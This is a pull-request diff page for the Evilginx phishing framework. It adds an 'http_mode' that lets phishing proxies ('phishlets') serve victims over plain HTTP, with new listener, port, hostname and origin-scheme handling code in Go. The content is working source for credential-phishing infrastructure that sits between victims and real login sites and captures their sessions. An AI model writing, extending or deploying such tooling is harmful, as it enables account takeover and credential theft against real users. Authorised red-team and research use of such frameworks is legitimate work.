Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 4 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,7 @@ build/
private/
/phishlets
!/phishlets/example.yaml
!/phishlets/example-http.yaml
!/phishlets/README.md
/evilginx
.claude
128 changes: 128 additions & 0 deletions core/config.go
Original file line number Diff line number Diff line change
Expand Up @@ -41,6 +41,7 @@ type PhishletConfig struct {
UnauthUrl string `mapstructure:"unauth_url" json:"unauth_url" yaml:"unauth_url"`
Enabled bool `mapstructure:"enabled" json:"enabled" yaml:"enabled"`
Visible bool `mapstructure:"visible" json:"visible" yaml:"visible"`
HttpMode bool `mapstructure:"http_mode" json:"http_mode" yaml:"http_mode"` // true = phishing server listens on HTTP (no TLS), false = HTTPS (default)
}

type ProxyConfig struct {
Expand Down Expand Up @@ -72,6 +73,7 @@ type GeneralConfig struct {
BindIpv4 string `mapstructure:"bind_ipv4" json:"bind_ipv4" yaml:"bind_ipv4"`
UnauthUrl string `mapstructure:"unauth_url" json:"unauth_url" yaml:"unauth_url"`
HttpsPort int `mapstructure:"https_port" json:"https_port" yaml:"https_port"`
HttpPort int `mapstructure:"http_port" json:"http_port" yaml:"http_port"` // Port for HTTP-only phishing (default: 80)
DnsPort int `mapstructure:"dns_port" json:"dns_port" yaml:"dns_port"`
Autocert bool `mapstructure:"autocert" json:"autocert" yaml:"autocert"`
}
Expand Down Expand Up @@ -170,6 +172,9 @@ func NewConfig(cfg_dir string, path string) (*Config, error) {
if c.general.HttpsPort == 0 {
c.SetHttpsPort(443)
}
if c.general.HttpPort == 0 {
c.SetHttpPort(80)
}
if c.general.DnsPort == 0 {
c.SetDnsPort(53)
}
Expand Down Expand Up @@ -295,6 +300,13 @@ func (c *Config) SetHttpsPort(port int) {
c.cfg.WriteConfig()
}

func (c *Config) SetHttpPort(port int) {
c.general.HttpPort = port
c.cfg.Set(CFG_GENERAL, c.general)
log.Info("http port set to: %d", port)
c.cfg.WriteConfig()
}

func (c *Config) SetDnsPort(port int) {
c.general.DnsPort = port
c.cfg.Set(CFG_GENERAL, c.general)
Expand Down Expand Up @@ -459,6 +471,47 @@ func (c *Config) IsSiteHidden(site string) bool {
return !c.PhishletConfig(site).Visible
}

func (c *Config) SetPhishletHttpMode(site string, enabled bool) error {
if _, err := c.GetPhishlet(site); err != nil {
log.Error("%v", err)
return err
}
c.PhishletConfig(site).HttpMode = enabled
if enabled {
log.Info("phishlet '%s' http_mode enabled (phishing server will use HTTP, no TLS)", site)
} else {
log.Info("phishlet '%s' http_mode disabled (phishing server will use HTTPS)", site)
}
c.SavePhishlets()
return nil
}

func (c *Config) IsPhishletHttpModeEnabled(site string) bool {
return c.PhishletConfig(site).HttpMode
}

// GetHttpModeEnabledSites returns list of phishlets that have http_mode enabled
func (c *Config) GetHttpModeEnabledSites() []string {
var sites []string
for k, o := range c.phishletConfig {
if o.Enabled && o.HttpMode {
sites = append(sites, k)
}
}
return sites
}

// GetHttpsModeEnabledSites returns list of phishlets that have http_mode disabled (use HTTPS)
func (c *Config) GetHttpsModeEnabledSites() []string {
var sites []string
for k, o := range c.phishletConfig {
if o.Enabled && !o.HttpMode {
sites = append(sites, k)
}
}
return sites
}

func (c *Config) GetEnabledSites() []string {
var sites []string
for k, o := range c.phishletConfig {
Expand Down Expand Up @@ -542,6 +595,77 @@ func (c *Config) GetActiveHostnames(site string) []string {
return ret
}

// GetActiveHttpsHostnames returns active hostnames for phishlets that are NOT in http_mode (use HTTPS)
func (c *Config) GetActiveHttpsHostnames(site string) []string {
var ret []string
sites := c.GetHttpsModeEnabledSites()
for _, _site := range sites {
if site == "" || _site == site {
pl, err := c.GetPhishlet(_site)
if err != nil {
continue
}
for _, host := range pl.GetPhishHosts(false) {
ret = append(ret, strings.ToLower(host))
}
}
}
for _, l := range c.lures {
if site == "" || l.Phishlet == site {
if c.IsSiteEnabled(l.Phishlet) && !c.IsPhishletHttpModeEnabled(l.Phishlet) {
if l.Hostname != "" {
hostname := strings.ToLower(l.Hostname)
ret = append(ret, hostname)
}
}
}
}
return ret
}

// GetActiveHttpHostnames returns active hostnames for phishlets that ARE in http_mode
func (c *Config) GetActiveHttpHostnames(site string) []string {
var ret []string
sites := c.GetHttpModeEnabledSites()
for _, _site := range sites {
if site == "" || _site == site {
pl, err := c.GetPhishlet(_site)
if err != nil {
continue
}
for _, host := range pl.GetPhishHosts(false) {
ret = append(ret, strings.ToLower(host))
}
}
}
for _, l := range c.lures {
if site == "" || l.Phishlet == site {
if c.IsSiteEnabled(l.Phishlet) && c.IsPhishletHttpModeEnabled(l.Phishlet) {
if l.Hostname != "" {
hostname := strings.ToLower(l.Hostname)
ret = append(ret, hostname)
}
}
}
}
return ret
}

// IsActiveHttpHostname checks if the hostname is active and in HTTP mode
func (c *Config) IsActiveHttpHostname(host string) bool {
host = strings.ToLower(host)
if host[len(host)-1:] == "." {
host = host[:len(host)-1]
}
httpHosts := c.GetActiveHttpHostnames("")
for _, h := range httpHosts {
if h == host {
return true
}
}
return false
}

func (c *Config) IsActiveHostname(host string) bool {
host = strings.ToLower(host)
if host[len(host)-1:] == "." {
Expand Down Expand Up @@ -796,6 +920,10 @@ func (c *Config) GetHttpsPort() int {
return c.general.HttpsPort
}

func (c *Config) GetHttpPort() int {
return c.general.HttpPort
}

func (c *Config) GetDnsPort() int {
return c.general.DnsPort
}
Expand Down
93 changes: 86 additions & 7 deletions core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -64,14 +64,17 @@ var MATCH_URL_REGEXP_WITHOUT_SCHEME = regexp.MustCompile(`\b(([A-Za-z0-9-]{1,63}

type HttpProxy struct {
Server *http.Server
HttpServer *http.Server // HTTP server for http_mode phishlets
Proxy *goproxy.ProxyHttpServer
crt_db *CertDb
cfg *Config
db *database.Database
bl *Blacklist
gophish *GoPhish
sniListener net.Listener
httpListener net.Listener // HTTP listener for http_mode phishlets
isRunning bool
isHttpRunning bool
sessions map[string]*Session
sids map[string]int
cookieName string
Expand Down Expand Up @@ -106,30 +109,41 @@ func SetJSONVariable(body []byte, key string, value interface{}) ([]byte, error)
return newBody, nil
}

func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *database.Database, bl *Blacklist, developer bool) (*HttpProxy, error) {
func NewHttpProxy(hostname string, port int, http_port int, cfg *Config, crt_db *CertDb, db *database.Database, bl *Blacklist, developer bool) (*HttpProxy, error) {
p := &HttpProxy{
Proxy: goproxy.NewProxyHttpServer(),
Server: nil,
HttpServer: nil,
crt_db: crt_db,
cfg: cfg,
db: db,
bl: bl,
gophish: NewGoPhish(),
isRunning: false,
isHttpRunning: false,
last_sid: 0,
developer: developer,
ip_whitelist: make(map[string]int64),
ip_sids: make(map[string]string),
auto_filter_mimes: []string{"text/html", "application/json", "application/javascript", "text/javascript", "application/x-javascript"},
}

// HTTPS server (main server)
p.Server = &http.Server{
Addr: fmt.Sprintf("%s:%d", hostname, port),
Handler: p.Proxy,
ReadTimeout: httpReadTimeout,
WriteTimeout: httpWriteTimeout,
}

// HTTP server for http_mode phishlets (no TLS)
p.HttpServer = &http.Server{
Addr: fmt.Sprintf("%s:%d", hostname, http_port),
Handler: p.Proxy,
ReadTimeout: httpReadTimeout,
WriteTimeout: httpWriteTimeout,
}

if cfg.proxyConfig.Enabled {
err := p.setProxy(cfg.proxyConfig.Enabled, cfg.proxyConfig.Type, cfg.proxyConfig.Address, cfg.proxyConfig.Port, cfg.proxyConfig.Username, cfg.proxyConfig.Password)
if err != nil {
Expand All @@ -147,7 +161,12 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
p.Proxy.Verbose = false

p.Proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
req.URL.Scheme = "https"
// Determine scheme based on whether this is an HTTP-mode hostname
if p.cfg.IsActiveHttpHostname(req.Host) {
req.URL.Scheme = "http"
} else {
req.URL.Scheme = "https"
}
req.URL.Host = req.Host
p.Proxy.ServeHTTP(w, req)
})
Expand Down Expand Up @@ -202,6 +221,9 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}

// Store original phish host for scheme detection
phish_host := req.Host

req_url := req.URL.Scheme + "://" + req.Host + req.URL.Path
o_host := req.Host
lure_url := req_url
Expand All @@ -211,7 +233,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
//req_path += "?" + req.URL.RawQuery
}

pl := p.getPhishletByPhishHost(req.Host)
pl := p.getPhishletByPhishHost(phish_host)
remote_addr := from_ip

redir_re := regexp.MustCompile("^\\/s\\/([^\\/]*)")
Expand Down Expand Up @@ -608,12 +630,25 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
req.Host = r_host
}

// Set correct scheme for connecting to origin server based on phishlet config
if pl != nil {
orig_scheme := pl.GetOrigSchemeForHost(req.Host)
req.URL.Scheme = orig_scheme
}

// Update URL host to match the replaced host for correct proxy destination
req.URL.Host = req.Host

// fix origin
origin := req.Header.Get("Origin")
if origin != "" {
if o_url, err := url.Parse(origin); err == nil {
if r_host, ok := p.replaceHostWithOriginal(o_url.Host); ok {
o_url.Host = r_host
// Use correct scheme for origin
if pl != nil {
o_url.Scheme = pl.GetOrigSchemeForHost(r_host)
}
req.Header.Set("Origin", o_url.String())
}
}
Expand All @@ -636,6 +671,10 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if o_url, err := url.Parse(referer); err == nil {
if r_host, ok := p.replaceHostWithOriginal(o_url.Host); ok {
o_url.Host = r_host
// Use correct scheme for referer
if pl != nil {
o_url.Scheme = pl.GetOrigSchemeForHost(r_host)
}
req.Header.Set("Referer", o_url.String())
}
}
Expand Down Expand Up @@ -1635,24 +1674,43 @@ func (p *HttpProxy) httpsWorker() {
return
}

hostname, _ = p.replaceHostWithOriginal(hostname)
// Get origin scheme before replacing hostname
phish_hostname := hostname
orig_hostname, _ := p.replaceHostWithOriginal(hostname)

// Determine origin scheme and port based on phishlet config
orig_scheme, orig_port := p.getOriginSchemeAndPort(phish_hostname, orig_hostname)

req := &http.Request{
Method: "CONNECT",
URL: &url.URL{
Opaque: hostname,
Host: net.JoinHostPort(hostname, "443"),
Opaque: orig_hostname,
Host: net.JoinHostPort(orig_hostname, orig_port),
},
Host: hostname,
Host: orig_hostname,
Header: make(http.Header),
RemoteAddr: c.RemoteAddr().String(),
}
// Store origin scheme in header for later use
req.Header.Set("X-Evilginx-Origin-Scheme", orig_scheme)
resp := dumbResponseWriter{tlsConn}
p.Proxy.ServeHTTP(resp, req)
}(c)
}
}

// getOriginSchemeAndPort returns the scheme (http/https) and port for connecting to origin server
func (p *HttpProxy) getOriginSchemeAndPort(phish_hostname string, orig_hostname string) (string, string) {
pl := p.getPhishletByPhishHost(phish_hostname)
if pl != nil {
scheme := pl.GetOrigSchemeForHost(orig_hostname)
if scheme == "http" {
return "http", "80"
}
}
return "https", "443"
}

func (p *HttpProxy) getPhishletByOrigHost(hostname string) *Phishlet {
for site, pl := range p.cfg.phishlets {
if p.cfg.IsSiteEnabled(site) {
Expand Down Expand Up @@ -1860,9 +1918,30 @@ func (p *HttpProxy) injectOgHeaders(l *Lure, body []byte) []byte {

func (p *HttpProxy) Start() error {
go p.httpsWorker()
go p.httpWorker()
return nil
}

// httpWorker handles plain HTTP connections for phishlets with http_mode enabled
func (p *HttpProxy) httpWorker() {
var err error

p.httpListener, err = net.Listen("tcp", p.HttpServer.Addr)
if err != nil {
log.Error("http: failed to start HTTP listener on %s: %v", p.HttpServer.Addr, err)
return
}

log.Info("http: listening on %s for HTTP-mode phishlets", p.HttpServer.Addr)
p.isHttpRunning = true

// Use standard HTTP server to handle connections properly
err = p.HttpServer.Serve(p.httpListener)
if err != nil && err != http.ErrServerClosed {
log.Error("http: server error: %v", err)
}
}

func (p *HttpProxy) whitelistIP(ip_addr string, sid string, pl_name string) {
p.ip_mtx.Lock()
defer p.ip_mtx.Unlock()
Expand Down
Loading